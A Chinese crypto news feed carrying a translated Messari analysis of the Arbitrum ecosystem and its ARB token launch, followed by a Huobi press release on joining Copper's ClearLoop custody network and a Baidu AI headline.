    原文作者：Messari- Chase Devens 编译：BlockTurbo 近几个月来，Arbitrum凭借其创新技术和强大的社区驱动生态系统而成为顶级的以太坊扩容解决方案。现在，备受期待的 $ARB 代币空投为该网络带来了一个在其早期成功的基础上进一步发展的机会。本报告提供了你所需要知道的有关 Arbitrum的一切，包括其生态系统分析及其在以太坊扩容解决方案竞争中的定位。 Arbitrum 是第 2 层 (L2) 以太坊扩展解决方案，具有两个通用的optimistic rolluups。 Arbitrum One 是旗舰rollup，推动了生态系统的大部分采用，而 Arbitrum Nova 是为高吞吐量应用程序构建的较新rollup。 Arbitrum One 于 2021 年 8 月下旬推出，在每日活跃地址、每日交易和累计合约部署方面已成为领先的以太坊rollup。此外，其 Bridge 合约持有约 100 万个ETH，使其成为以太坊合约的第七大 ETH 持有者。 Arbitrum One 于 2022 年 8 月下旬采用了 Arbitrum 的 Nitro 技术堆栈。Nitro 没有依赖定制的 Arbitrum 虚拟机进行低级代码组装，而是使用 WebAssembly (Wasm)。这一变化允许 rollup 直接使用 Go Ethereum 的 EVM 实现，并对应于更低的费用、更好的以太坊兼容性和更大的简单性。 在推出时，Arbitrum One 在最近成为当今领先的以太坊扩展解决方案之前经历了一段缓慢增长的时期。它的最好增长体现在其在智能合约平台（不包括以太坊）中的总价值锁定（TVL）的相对份额中。 Arbitrum 的 TVL 在过去 180 天内增加了 131%，导致其 TVL 市场份额在竞争的非以太坊智能合约生态系统中从 3.6% 跃升至 8.4%。这一增长是下一个增长最快的竞争对手Optimism的四倍多，后者在非以太坊 TVL 市场份额增长了 1.1%。 从历史上看，相互竞争的智能合约网络（包括 L1 和 L2）都使用其原生代币来资助有针对性的激励活动并直接刺激用户活动。 Arbitrum 采取了一种略有不同的方法。 Offchain Labs（Arbitrum 的母公司）并没有在一开始就明确推出代币，而是保守秘密，并发起了暗示未来追溯空投的用户获取活动。上周 Offchain Labs 宣布了 Arbitrum 代币发布的细节，这一点得到了证实。 综合考虑，Arbitrum 的增长战略已被证明比其同行更具成本效益。尽管 Optimism、Polygon和Avalanche等竞争生态系统分发了价值数百万美元的激励措施来吸引新用户，但 Arbitrum 避免了这些成本。相反，它吸引了早期采用者，只是模糊地暗示了网络所有权的潜在份额。在 $ARB 代币推出后，这些早期采用者是否会继续坚持下去，将是未来需要监控的最重要趋势之一。 随着 Arbitrum 最大的谜团终于揭开，Arbitrum 现在进入了其生命周期的下一阶段。在代币发布之后，注意力正在转移到 Arbitrum 蓬勃发展的应用程序生态系统及其与竞争性以太坊扩展解决方案竞争的计划。 Arbitrum 的应用程序生态系统可以分为两大类：DeFi和消费者应用程序。在这些生态系统中构建的项目已经采用 Arbitrum 来获得粘性用户群和从以太坊继承的强大安全保证。 DeFi 生态系统已经存在大量竞争，并以其DEX、借贷和永续合约为基础。这些领域在去年经历了显著增长，并为构建第二层 DeFi 应用程序提供了基础。 2023 年的前几个月，Arbitrum 上的 DEX 活动超过了 Polygon，使 Arbitrum 成为以太坊之外交易量最大的 DEX 领域。越来越多的协议看起来和感觉上与熟悉的以太坊 L1 上的 DEX 活动相似。在 Arbitrum One 主网上线的第一年，Uniswap、SushiSwap、Curve和Balancer 占据了几乎所有 Arbitrum DEX 活动，平均交易量和用户份额保持在 90% 以上。但随着 Arbitrum 的 DeFi 生态系统在 2022 年底趋于成熟，新协议开始蚕食这些现有企业的市场份额。在过去的几个月里，这四个协议的总交易量份额下降到 80%，每日用户份额下降到 70%。 与其他 EVM 智能合约网络类似，分叉Uniswap 的项目如 Sharkyswap 和 Arbswap 获得了普及。当 3xcalibur、SolidLizard 和 Sterling Finance 等 Solidly 分叉将 ve(3,3) 机制引入 Arbitrum 时，竞争也愈演愈烈。然而，可以说，Uniswap 和公司最突出的新兴挑战者是 Camelot，在过去 30 天内，它占挑战者 DEX 交易量的 10.6%。 与其他 DEX 一样，部署在 Camelot 上的每个池都可以配置自定义费用参数。 Camelot 使池中的每项资产都具有动态的、定向的买卖费用，从而使可定制性更进一步。例如，USDC-WETH 池可以对从池中购买 WETH 的交易收取 0.04% 的费用，但对向池中出售 WETH 的交易仅收取 0.02% 的费用。这种定向功能允许池部署者微调给定对的激励结构。此外，这些费用杠杆是动态的。这允许费用结构根据市场条件等因素发生变化。 Camelot 的第二个定义特征是它的启动板。该服务为新项目提供了从社区成员筹集资金和引导流动性所需的基础设施。在 Perpy、Factor 和 Arbitrove 等项目成功融资后，Arbitrum DeFi 社区采用了 Camelot 作为rollup的原生“社区”DEX 的说法。 Camelot 的战略是创建一个安全且可扩展的平台，该平台将支持广泛的加密资产并为用户提供快速高效的流动性访问。通过这样做，Camelot 将自己定位为在 Arbitrum 上进行加密资产长尾交易的首选目的地。 尽管较新的协议给 Arbitrum 的 DEX 部门的现有企业带来了压力，但矿池级别的数据仍然凸显了 Uniswap 的主导地位。在按交易量排名前 10 位的 Arbitrum DEX 矿池中，有六个属于 Uniswap。即使不对其池提供激励，Uniswap 的池也能为流动性提供者提供显着更高的收益，这要归功于该协议的市场领先交易量。 Uniswap 在交易量上的优势源于其品牌知名度和深度集中的流动性架构。 随着 Arbitrum 的 DEX 不断成熟，我们可以期待稳定币在交易活动中发挥更大的作用。重新审视上述关于 Arbitrum 顶级 DEX 的数据，只有一个稳定币配对登记在按交易量排名前 10 的矿池中。这与以太坊相比相形见绌，以太坊前 10 个 DEX 池中有四个是稳定币对。 我们已经可以看到潮流开始转变。自以太坊的稳定币市值在 2022 年 2 月达到顶峰以来，Arbitrum 见证了稳定币缓慢增长的一年，然后在 2023 年初急剧增长。 随着越来越多的稳定币进入 Arbitrum，Uniswap、Curve 和 Camelot 等提供集中流动性池的 DEX 将因其提供极低滑点交易的能力而获得成功。随着这些高交易量、低滑点的币对池在 Arbitrum 上获得更多关注，Uniswap 可能还会推出其 0.01% 的费用等级，以赢得这个不断增长的细分市场的交易量。 竞争可能正在升温，但具有挑战性的 DEX 要想继续获得市场份额，就需要找到更有创意的方法来与市场领导者竞争。新颖性和激励措施可以创造短期的胜利，但以太坊的历史告诉我们，定价权是 DEX 长期成功的主要因素。 Radiant Arbitrum 借贷领域的故事大部分可以通过单一协议来讲述。 Radiant 建立在 LayerZero 之上，旨在作为“omnichain”借贷协议运行。这意味着它使用跨多个链的统一债务池，以便用户可以在一条链上存入抵押品并在另一条链上开立借款头寸。然而，自 2022 年 7 月下旬在 Arbitrum 上推出以来，Radiant 尚未部署到其他链上。 Radiant 目前占 Arbitrum 贷款 TVL 的 56%，紧随其后的竞争对手Aave V3 占该行业 TVL 的 27%。对该协议进行更深入的研究表明，由于大量的 RDNT 激励措施，这种增长绝非有机的。 Radiant 不仅鼓励用户在平台上借款，它还提供一键式“循环和锁定”功能，允许用户将借入的资产重新存入作为抵押品，然后再次从协议中借款。这个循环动作最多可以循环五次。用户选择锁定抵押品的时间越长，他们在锁定期间获得的 RDNT 奖励就越多。在考虑 RDNT 奖励后，尽管基本借贷成本的 APR 为两位数，但用户从该协议借贷时获得了优惠。 这已被证明是 Radiant 非常成功的增长战略。在中性市场中，锁定和循环策略由于其低波动性对于用户存入和借入稳定币是相对安全的。在升值的市场中，ETH 和 WBTC 也成为有吸引力的存款策略——随着这些抵押资产价格的上涨，存款人可以借到更大的价值并有资格获得更多的 RDNT 奖励。此外，风险偏好牛市与 RDNT 的更高美元价值相关。自 2023 年初以来，RDNT 的价格上涨了 1,075%，使这种激励机制更具吸引力。 在评估整个行业协议的未偿借款与 TVL 比率时，最好理解这里的动态。在过去 30 天里，Radiant 的比率为 2.5，几乎是行业平均水平 0.51 的五倍。重要的是要注意，循环借用不会在任何这些协议的 TVL 指标中重复计算，这使得 Radiant 的比率有可能大于 1。如果我们假设 Radiant 在没有奖励的情况下与行业平均水平一致，这意味着 Radiant 大约 80% 的借贷是由大量激励措施驱动的。 Radiant 备受期待的 V2 升级在上周末上线。 V2 将 RDNT 排放的跑道从两年延长到五年，同时还修改了从协议中获得 RDNT 所需的行为。具体来说，V2 引入的一个重要变化是一种机制，在向 RDNT/ETH LP 池提供流动性之前，将循环的 ETH 借入并将一部分转换为 RDNT。这有效地对 RDNT 代币造成了新的购买压力，同时锁定的用户获得了 RDNT 奖励。值得监控的是，这种机制是否会抵消更高的障碍，从而在 V2 中获得更小的 RDNT 奖励池。总而言之，Radiant 存款基础的可持续性可能会在未来几个月内受到考验。 其他借贷竞争对手 如果我们从等式中删除 Radiant，自 2022 年 6 月 1 日以来，Aave V3 在 Arbitrum 上的 TVL 份额从 30% 增加到 60%。与 Radiant 不同，这种增长是自然发生的，没有使用 AAVE 代币来激励活动。展望未来，Aave V3 将成为 Radiant 的有力竞争者，专注于通过其门户网站功能进行跨链借贷的全链借贷。 Connext、deBridge、Hashflow 和 Wormhole 已被列入白名单，作为批准的桥接提供商以支持门户功能。 在 Arbitrum 的货币市场协议之外，Vesta Finance 是 Rollup 领先的抵押债务头寸 (CDP) 协议。 Vesta 是 Liquity 协议的一个分支，允许其用户针对一篮子抵押资产铸造 VST 稳定币。虽然 GMX 和 GLP 等流行资产支持抵押品类型，但 Vesta 的 1700 万美元 TVL 中的 65% 目前由 gOHM 组成，gOHM 是 Olympus 协议的治理代币。正如MakerDAO在以太坊借贷市场的成功所证明的那样，Vesta 在 Arbitrum 中有扩大其影响力的空间。 Vesta 的未来增长将取决于其将 TVL 基础多样化到 gOHM 之外的能力，并通过外部集成推动对 VST 稳定币的需求。 将衍生品引入 DeFi 的早期尝试主要集中在重新创建中心化交易所普及的订单簿模型。然而，由于高昂的 gas 成本、延迟问题和普遍的高复杂性，DeFi 项目尚未成功实现具有完全链上订单簿的永续衍生品平台。这为项目创造了一个机会，可以尝试使用替代模型来交易合成永续合约。 近年来，结合了自动化做市商和基于订单簿的交易所的混合模型在 DeFi 用户中越来越受欢迎。这些混合永久平台在 Arbitrum 上的增长可以说是促进网络早期采用的最重要的因素。永续合约拥有 5.65 亿美元的 TVL，是 Arbitrum DeFi 生态系统中最大的部分。在这一领域中，有一个协议占所有 TVL 的 80% 以上：GMX。 GMX 作为 2021 年 8 月在 Arbitrum One 上线的首批应用之一，GMX 已经确立了 Arbitrum DeFi 的王者地位。这一成功的关键是 GMX 的双代币模型：协议收入的 30% 分配给 GMX（协议的治理代币）的利益相关者，70% 分配给 GLP（平台的汇集流动性代币）的利益相关者。这些机制导致了围绕协议构建的整个项目生态系统，为其系统带来更大的流动性并提供切线服务。 收益和期权金库 用户可以利用 GMX 产生的平台费用，而无需通过存入由外部协议构建的收益或期权金库来承担 GLP 中包含的资产指数的风险。 GMD、Neutra Finance 和 Umami 是利用 GMX 的流动性运行 delta 中性策略并将累积收益传递给 USDC、WBTC 或 ETH 存款人的产品。 Jones DAO 通过借入 USDC 并将其存入 GLP，将这一策略更进一步，从而创造了对 GLP 收益率的杠杆敞口。 借贷平台 GMX 的流行导致多个借贷协议将 GMX 和 GLP 集成为寻求利用这些资产的用户的抵押品。 Vesta 用户可以根据 GLP 铸造 VST 稳定币，而 Tender Finance 允许用户从协议的货币市场借入任何一种资产。 社交交易 随着越来越多的交易者迁移到去中心化交易平台，利用交易的社交元素的设计空间不断扩大。 STFX 和 Perpy Finance 是两个构建平台的项目，旨在将成功的交易者与跟单交易者联系起来。交易者创建公共金库以换取跟单交易者支付的费用。在后端，金库存款和交易通过 GMX 进行路由。 总而言之，建立在 GMX 之上的项目数量有助于通过增加流动性和数量来加强平台的竞争地位。然而，随着平台层对流动性的竞争加剧，这些应用程序很可能也会与 GMX 的竞争对手整合。如果这些应用程序也成为永久平台的主要用户，那么竞争动态将取决于哪些应用程序可以产生最高和最稳定的收益。 相关数据 GMX 可能是第一个在 Arbitrum 上上市的永续合约平台，但最近几个月新进入者已经开始抢占市场份额。这些竞争对手都使用与 GMX 类似的混合 AMM 订单簿模型，但为交易者提供了更广泛的市场。 GMX 在这方面仅对四个市场保持保守：BTC/USD、ETH/USD、UNI/USD 和 LINK/USD。崭露头角的竞争对手已迅速提供其他的市场，例如外汇、股票、商品和更广泛的加密货币篮子。 从越来越多的竞争平台中脱颖而出的两个协议是 Vela Exchange 和 Gains Network。这些协议加起来占永续合约 30 天平均交易量的 46% 和 TVL 的 11%。虽然这些竞争对手正在蚕食 GMX 在交易量中的份额 (51%)，但 GMX 在 TVL 方面仍然保持着强大的优势，占据该行业 83% 的份额。这种动态意味着 Vela 和 Gains 中的流动性提供者每单位流动性暴露于协议交易量的更大份额。尽管如此，他们的盈利能力最终取决于以协议费用的形式获取的交易量中有多少。 在估值方面，GMX 提供了一个行业基准来比较新的竞争对手。以 30 天平均流通市值与费用的比率计算，只有 Vela 的倍数低于 GMX。这表明市场低估了 Vela 相对于其竞争对手产生费用的能力。然而，应该注意的是，GMX 和 Gains 都部署在额外的网络上，这意味着在考虑 Arbitrum 以外产生的费用时，它们的总比率较低。 值得注意的是，Arbitrum 的永续平台似乎也迎合了不同的交易受众。根据每个每日活跃用户的平均交易量，Gains 似乎为较大的交易者提供服务，而 Cap 和 Rage Trade 则支持较小的交易者。同样，随着建立在这些永久平台之上的结构化产品数量的增加，从而在用户和平台之间创建了一个抽象层，平台将需要了解他们的用户群，因为用户和平台之间的直接联系越来越少. 期权 期权协议为 DeFi 用户提供了另一种途径，以获得杠杆作用或对冲定向市场波动带来的风险。然而，尽管期权作为最受欢迎的衍生产品之一在传统金融中根深蒂固，但它们尚未在链上起飞。这主要是由于以太坊 L1 的高交易成本以及从期权策略中持续获利所需的知识障碍。 作为首批部署在 Arbitrum 上的协议之一，Dopex 最初通过提供一键式期权库成为 2022 年初最受欢迎的 Arbitrum 协议之一。它受益于强大的社区和使期权市场对用户尽可能简单的承诺。尽管有这种吸引力，但 Dopex 未能保留其早期用户群，并拖累了整个期权行业的用户保留分数。 即使与其他行业相比保留率有所下降，Arbitrum 上的期权协议也是所有链中最大的。在期权协议中锁定的 1.5 亿美元资金中，近一半存入了 Arbitrum。此外，在 DeFi 中排名前五的期权协议中，有四个在 Arbitrum 上有最大的部署。 Lyra 最近在网络上的增长进一步凸显了人们对 Arbitrum 作为期权协议新兴中心的偏好。 Lyra 在 1 月份对 Newport 进行升级，使其能够使用永续合约作为抵押品和 delta 对冲工具。升级后不久，Lyra 部署在 Arbitrum 上以获取 GMX 的流动性。这导致 TVL 和数量的快速增长，在几周内超过了 Lyra 的 Optimism 。 因此，虽然期权不是加密用户的首选杠杆工具，但如果该行业确实增长以满足其与传统金融的相关性，鉴于生态系统当前的期权协议市场份额，Arbitrum 很可能会看到大部分增长。 其他结构性产品 Pendle 是一种利率衍生品协议，将产生收益的代币分离为本金和收益部分；本金代币相当于零息债券，而收益代币相当于息票支付。一旦拆分，这些代币就可以在 Pendle 的原生 V2 AMM 上进行交易，以便用户可以对冲可变利率风险。自推出 V2 以来，Pendle 的 TVL 从 600 万美元增长了 560% 至 4100 万美元，而其市值从 380 万美元增长了 1,000% 至 3800 万美元。 像 Pendle 这样的利率协议有一个巨大的潜在市场——传统的利率衍生品市场的名义价值超过 400 万亿美元。然而，与期权协议类似，鉴于当今 DeFi 世界的用户群，这些项目被广泛采用可能还需要一段时间。 Plutus DAO 旨在成为具有 veToken 结构的 Arbitrum 项目的实际治理层。 PLS 代币充当单一代币，控制协议的投票锁定资产篮子并从基础代币中获得收益。通过持有 PLS 代币，用户可以对越来越多的协议产生影响，包括 Dopex、Radiant、Sperax和 Jones DAO。虽然最初只专注于治理代币，但 Plutus 最近通过为 GMX 的 GLP 代币构建保险库而扩展到一般收益聚合领域。这种扩展使 Plutus 看起来像是 Convex 和 Yearn 的混合体，并且应该扩展协议的策略以尽可能多地合并 Arbitrum 中流行的收益来源。 Y2K Finance 是一个双向平台，供用户买卖锚定资产保险。该协议可能只有几个月的历史，但最近导致 USDC 挂钩的银行业危机证明了它的价值。 FRAX、USDC 和 Dai 的 depegs 分别为那些在 Y2K 平台上购买了锚定保险的人带来了 4,820%、4,350% 和 4,230% 的回报。虽然这样的回报可能会吸引更多的用户继续前进，但很难想象 Y2K 会扩展到超越利基产品，因为它的商业模式是基于黑天鹅事件的。 除了 DeFi，Arbitrum 还拥有许多基于消费者的应用程序。这些应用程序中的大多数尚未达到与 Arbitrum 的 DeFi 应用程序相同的采用水平，但已准备好面对下一波新用户增长。 资格认证 - Odyssey Arbitrum Odyssey 是由 Offchain Labs 于 2022 年 6 月发起的为期两个月的新用户获取活动。该组织选择了 Arbitrum 最活跃的 56 个项目，并随机创建了 14 组，每组四个项目。这 14 个小组随后在 Twitter 上进行投票，前四名小组成为奥德赛的赞助成员。每周，用户都被设置为完成两个协议的任务，以获得 Galxe 发行的NFT凭证。 在为期一周的期间内，用户收到了用于桥接到 Arbitrum 的 NFT。然而，网络拥堵最终迫使 Offchain Labs 在用户开始铸造 NFT 以桥接网络时推迟 Odyssey 活动。 Offchain Labs 宣布，在 Arbitrum 升级到 Nitro 技术堆栈后，Odyssey 将重启。但是，该活动仍未重新开始。有人猜测，在 Arbitrum 完成代币发行后，Odyssey 可能会重新开始。这将使 DAO 的财政部能够利用其新发现的财富进一步激励该活动。 尽管奥德赛被取消，但该活动仍然可以说是成功的。已经铸造了 437,000 个桥接 NFT，但很难区分这些钱包中有多少是新用户和重复用户尝试玩 Arbitrum 以获取期待已久的空投。尽管如此，新的 Arbitrum 用户活动与 Odyssey 之间仍存在相关性。 最后，Odyssey 让 Galxe 成为 Arbitrum NFT 认证的首要合作伙伴。随着社交协议在未来进入 Arbitrum 生态系统，Galxe 将成为服务这些客户的领先候选者，成为认证即服务提供商。 Arbitrum 的游戏行业主要由 Treasure 协议引导。 Treasure 是一个面向游戏开发者的生态系统，其目标是成为“Web3 的任天堂”。在 Treasure 上发布的游戏可以相互操作，并且可以立即利用 Treasure 的原生 DEX、MagicSwap 及其原生 NFT 市场 Trove 提供的网络效应。 MAGIC 是生态系统的原生治理代币，也是 NFT 升级和在 Trove 上购买的货币。 在撰写本文时，Treasure 支持 13 种不同的游戏。在这些游戏、MagicSwap 和 Trove 市场中，Treasure 生态系统平均每周有 5,900 名用户，并且自 2022 年 2 月进入初始增长阶段以来从未低于每周 2,500 名用户。虽然这个用户群只是 Web2 游戏的一小部分，该活动比一些最流行的 Arbitrum DeFi 协议更加一致。 Treasure 的早期成功可以归因于游戏在加入生态系统时获得的网络效应以及缺乏来自其他游戏平台的竞争。在网络效应方面，无论该代币是在哪个游戏中获得的，MAGIC 代币都可用于升级 NFT 游戏资产。这意味着新项目可以提供 MAGIC 作为完成游戏目标的回报，用户可以将其奖励应用到他们的资产上。在整个生态系统的其他游戏中使用。此外，MagicSwap 和 Trove 为资产交换提供了中心位置，并推动了对 MAGIC 作为 NFT 销售货币的额外需求。 Arbitrum 内没有其他已建立的游戏生态系统可以与 Treasure 的范围相媲美。然而，Trident 正试图通过引入以风险换取收益的大型多人在线 (MMO) 游戏世界来改变这一现状。使用 MMO 模型，项目将能够在 Trident 宇宙中构建迷你游戏并搭载其用户群。 Trident 没有为 Treasure 等游戏构建生态系统平台，而是押注 Web3 MMO 将与 Minecraft 和 Roblox 等 Web2 MMO 一样取得成功，并且游戏开发人员将在自己的游戏中构建。 风险获利的主题也超越了传统的 Web3 游戏领域。随着 2023 年开始加密货币市场的风险偏好情绪回归，围绕去中心化菠菜应用程序出现了。这些平台建立在类似于 Arbitrum 的永续衍生品平台的流动性机制之上——流动性提供者扮演着“房子”的角色，并允许用户对他们的集合资金进行押注。根据项目的不同，这笔资金可以是协议的原生代币形式，也可以是外部资产，如 ETH 或 USDC。 与传统一样，赔率为流动性提供者提供了轻微的优势。然而，与传统不同的是，每个游戏的随机输入和相应的结果都可以被任何参与者在链上验证。在 Arbitrum 的去中心化建设的项目包括 Arcadeum、Nice2Win、Arbi Roul、Party Dice 和 Betswirl。 该行业虽然还很年轻，但具有长期上涨的潜力，并探索与现有 Web2 平台的合作伙伴关系以获得额外的收入来源。 Party Dice 已经采用了这一策略。此外，缺乏 KYC 和获得全球流动性的途径扩大了去中心化平台的总可寻址市场。然而，这可能只是一个短期的好处，而项目仍然很小——任何获得实质性吸引力的项目几乎肯定会面临监管压力。 Arbitrum NFT 生态系统仍处于早期阶段。在过去的一个月里，该网络的 NFT 交易量仅为 3,900 ETH——与同一时间段内以太坊 L1 的 130 万 ETH 交易量相比，这只是一个零头。 Arbitrum 上唯一一致的 NFT 交易量来源来自 Treasure 的 Trove 市场。这可能是因为 Trove 是 Magic 生态系统中游戏 NFT 的本地市场，玩家正在交换资产用于游戏内使用，而不是像当今大多数其他 NFT 市场那样进行投机。 自 2022 年 9 月中旬在 Arbitrum 上部署该市场以来，OpenSea的相对市场份额在最近几个月有所增长。在 SpaceID 推出 .arb 命名服务的支持下，该市场在 2 月份经历了短暂的交易量激增，但此后有所下降.在更多项目在 Arbitrum 上推出原生 NFT 和投机回报之前，Arbitrum 上的 NFT 交易可能会保持低迷。 Arbitrum 将作为网络增长的案例研究载入加密历史。它的成功可以归因于三个相互关联的因素：推迟原生代币、原生应用程序，以及它的冒险用户群。 如前所述，Arbitrum 决定在没有代币激励的情况下引导其网络，这为其提供了相对于竞争对手的成本优势。追溯代币分发的前景足以让投机用户尝试其生态系统的应用程序。在开发人员方面，构建者可以自由创建应用程序，而不必担心唯利是图的用户仅仅为了获得短期回报而与他们的协议进行交互。 GMX 和 Treasure 等原生应用的成功吸引了更多的建设者来挖掘生态的用户群。 DeFi 生态系统看到许多现有应用程序增加了对 Arbitrum 的支持，以利用生态系统内不断增长的流动性。游戏开发者选择使用 Treasure 进行构建，以访问其粘性用户群。此外，这些协议的早期用户能够利用他们的成功所创造的财富效应。与 Optimism 不同，Optimism 具有许多由大型 VC 支持的协议，Arbitrum 的本地应用程序主要由社区资助。这创建了一个自循环，因为社区利润会迅速流回生态系统中的其他项目。 最后，Arbitrum 生态系统历来迎合了对杠杆有偏好和高风险承受能力的用户群。其永续平台的流行、杠杆策略以及越来越多的风险盈利游戏和菠菜平台都证明了这一点。一旦将这些用户引入生态系统，让他们测试各种应用程序并将自己融入社区就相对容易了。 $ARB 代币发布 期待已久的 $ARB 代币发布将对 Arbitrum 生态系统的未来产生深远影响。试用 Arbitrum 生态系统的早期采用者现在将获得网络代币供应量 11.6% 的空投奖励。上周，Arbitrum 基金会详细制定了确定空投资格的标准。一般来说，在多个月内保持一致活动并通过网络与各种合约进行交互的钱包获得的奖励远远超过那些只是桥接资金并进行一些一次性交易的钱包。 $ARB 代币接收者的另一个值得注意的类别是在发展 Arbitrum 生态系统中发挥作用的 DAO。 1.13 亿个代币将根据 Arbitrum 基金会确定的各种指标分配给协议。这些包括协议启动的时间，无论它是 Arbitrum 还是多链的原生协议、它的 TVL、用户活动、交易量、平均交易价值，以及它在跨时间维护这些指标方面的一致性。 排名前 10 位的 DAO 将获得分配给该类别的 41% 的代币。在这一组中，行业领导者 Treasure、GMX 和 Uniswap 因其对 Arbitrum 的游戏和 DeFi 生态系统的巨大影响力而成为前三名。如果我们分析收到的 $ARB 代币与每个协议的流通市值的比率，我们会发现市值较低的协议将获得价值超过其市值 10% 的代币。不出所料，自从宣布向 DAO 分配 $ARB 以来，其中许多代币的价格都出现了两位数的上涨。 最后，Arbitrum DAO 金库将收到近 43% 的 $ARB 代币。随着 Arbitrum 超越其最初的增长阶段，生态系统将无法再依赖其之前聪明的低成本用户获取策略。相反，DAO 需要动用其资金来吸引下一波开发者和用户。 Nova Arbitrum Nova 是为大容量 dApp 创建的rollup，于 2022 年 8 月与 Arbitrum Nitro 一起发布。Nova 依赖于 Arbitrum 的 AnyTrust 技术，这是 Nitro 的一种变体，可进一步降低成本。该数据不是直接在以太坊 L1 上发布交易，而是发送到外部数据可用性委员会 (DAC)。这消除了 rollup 向以太坊 L1 支付 gas 费用以存储调用数据的需要，但创建了一个温和的信任假设：用户必须相信至少有两个 DAC 成员在诚实地存储交易数据。 DAC 是一组经过许可的基础设施提供商，包括 Offchain Labs、ConsenSys、Reddit、Google Cloud、P2P 和 QuickNode。如果 DAC 离线或未能就 DAC 证书达成共识，系统将回退到原始的 Arbitrum rollup 协议，并将以标准 rollups 为代价运行。 尽管 Nova 承诺为用户和应用程序开发人员节省更多成本，但 rolllup 尚未得到实质性采用。 Nova自上线以来，其日均3万笔交易量仅占One日均35万笔交易量的8.5%。在 $ARB 代币发布之后，我们可以看到 Arbitrum DAO 选择激励 Nova 的更大发展。游戏、社交和认证平台等消费者应用程序自然适合 Nova，因为它们需要高吞吐量和低交易费用。 Stylus Arbitrum Stylus 是一个即将推出的编程环境，它利用了 Arbitrum 的 Nitro 升级带来的变化。 Stylus 将允许使用 C、C++ 和 Rust 等传统编程语言编写的程序部署在 Arbitrum 的汇总上。这些语言被编译成 Wasm 二进制格式，然后通过 EVM 发送执行。 由于与其原生 Solidity 语言相关的学习曲线，以太坊在历史上一直难以吸引 Web2 开发人员。虽然 Stylus 的发布日期仍然未知，但它的推出将使所有只熟悉传统编程语言的开发人员更容易访问 Arbitrum 的开发环境。此外，Stylus 为在其他智能合约平台上使用这些传统语言开发的应用程序提供了一个迁移到 Arbitrum 的机会。这将使他们能够利用以太坊的安全功能，而无需对其现有代码库进行大量修改。 Orbit 在发布 $ARB 代币的同时，Arbitrum 基金会发布了 Arbitrum Orbit，这是一个用于第 3 层 (L3) 网络的开发工具包，无需许可即可部署在 Arbitrum 的 L2 rollup之上。 L3 将被定义为 Arbitrum 的 L2 上的智能合约，这将要求他们向 L2 支付测序费用。添加对 L3 的支持应该有助于提高 Arbitrum 生态系统的可扩展性，同时使其执行环境和安全模型多样化。 Orbit 还将允许新项目利用 Nitro 代码库并在以太坊上作为 L2 启动。但是，只有当项目获得 Arbitrum DAO 的明确授权时，此选项才可用。任何授权都可能要求项目向 Arbitrum DAO 支付 Nitro 许可费，因为这些项目不会为使用 Arbitrum 的排序器支付费用。 支持 L3 部署而不是切向 L2 的决定标志着 Arbitrum 与其紧密的竞争对手 Optimism 在战略上的明显差异。 Arbitrum 正试图通过其作为专有开发环境的代码库获利，而 Optimism 将通过对其共享排序器基础设施的访问获利。 低成本的增长黑客和强大的、社区驱动的应用程序生态系统使 Arbitrum 成为市场上领先的以太坊扩展解决方案。该网络的原生代币的推出标志着其生命周期中的一个关键点，因为它正走上去中心化的道路。由于以太坊 L2 是一个不断发展的生态系统，Arbitrum 将需要适应开发人员和用户不断变化的需求，以保持其早期领先地位。通过专注于提高传统编程语言的可访问性和对第 3 层网络的支持，Arbitrum 正准备通过其网络汇集更多活动。  ( 11 min )
    火必与Copper签署战略协议加入其ClearLoop网络，用户资产安全再升级
    火必宣布与Copper签署战略协议，并将加入其ClearLoop网络，携手升级用户资产安全。 据悉，火必是Copper自1月成立以来第五家加入其网络的交易所。这意味着，全球十大加密衍生品交易所中已有五家集成在该网络，业内持续推动减轻交易对手风险的态势已成必然。 ClearLoop是Copper的场外结算网络，它将支持火必用户委托交易所的资金进行即时交易，而资产仍由Copper保管。官方资料显示，CloarLoop创新地与市场上首个受英国法律管辖的单证建立了一个信托，使客户委托资产和交易所保证金相关的每个单证都受到安全协议的约束。这种结构旨在解决任何ClearLoop参与者的破产风险，以保证在任何时候，无论是交易对手还是Copper自身破产，客户和交易所的资产都能够得到妥善处理。 火必是一家成立十余年，全球领先的交易所。成立至今，一直保持100%可用、十年无安全事故的行业最好安全记录，其基础设施托管于国际知名云服务器，具备容错率极高的灾备能力，核心业务数据与技术架构不依赖任何中心化人力，具备自运转能力，安全底层强大。本次加入ClearLoop网络旨在为再次巩固升级用户资产安全，为其提供“双保险”。 火必还始终坚持全球合规化运营。目前已获加拿大MSB牌照、美国MSB信托牌照、英属维尔京群岛SIBA牌照、直布罗陀DLT牌照等全球多国运营牌照。未来将携手更多业内伙伴，在遵守各地法律法规的前提下，探索并落地多元化合规合法运营模式，推动火必全球Web3门户建设。 火必携手Copper共同树立客户资产保护标准 Copper首席执行官Dmitry Tokarev评论道：“现在比以往任何时候都更需要托管人和交易所共同努力，才能有效解决如交易对手风险等行业主要风险。越来越多的交易所加入ClearLoop证明大家愈加有意愿共同解决上述问题。我们非常荣幸能与像火必这样的行业领袖合作，共同树立客户资产保护的标准。” 他还表示：“ClearLoop网络的整合将有助于实现双方均希望与用户建立牢固信任基础的共同目标，因为火必的客户现在可以解锁更高的资金分配，分散交易对手风险并提升资本效率。” 对此，火必相关负责人表示：火必一直将用户资产安全放在首位，非常荣幸能与Copper达成战略合作。希望双方能在用户资产安全方面强强联合，为交易所用户构筑更安全的保护墙，打造安全放心的良性加密交易环境，携手推动加密行业安全、透明、合规发展。 正如此前火必全球顾问委员会委员孙宇晨所说：“火必致力于技术和安全的投资。目前已实施一系列措施来确保用户的资金安全。这些措施包括使用冷存储，有助于防止资产被网络犯罪分子黑客攻击或窃取。除此之外，火必还采用多签名技术和可靠的云计算来保护用户资产。”双方的本次合作将践行这一战略，巩固并升级上述安全措施，为用户提供更安全的交易服务，共同推动行业合规发展。 关于Copper 自2018年成立以来，Copper一直通过提供数字资产托管、交易，抵押品管理等服务，致力于为相关机构树立数字资产标准。在屡获殊荣的技术支持下，Copper已经建立了安全保管、交易加密货币及其他数字资产（如代币和稳定币）所需的全套产品和服务。Copper基础设施的核心是ClearLoop，它使客户能够在多个交易所进行近乎实时的交易和结算，同时减轻对手方风险并提高资本效率。 关于火必 火必成立于2013年，已从一个加密货币交易所发展成为一个全面的区块链业务生态系统，涵盖了数字资产交易、金融衍生品、钱包、研究、投资、孵化和其他业务。火必秉承“全球化、科技推动发展、科技向善”三大发展战略，向世界虚拟货币爱好者提供全方位的价值与服务，业务覆盖五大洲160多个国家，拥有数千万用户。  ( 4 min )
    百度文心一言升级，企业级大模型服务平台“文心千帆”今日发布
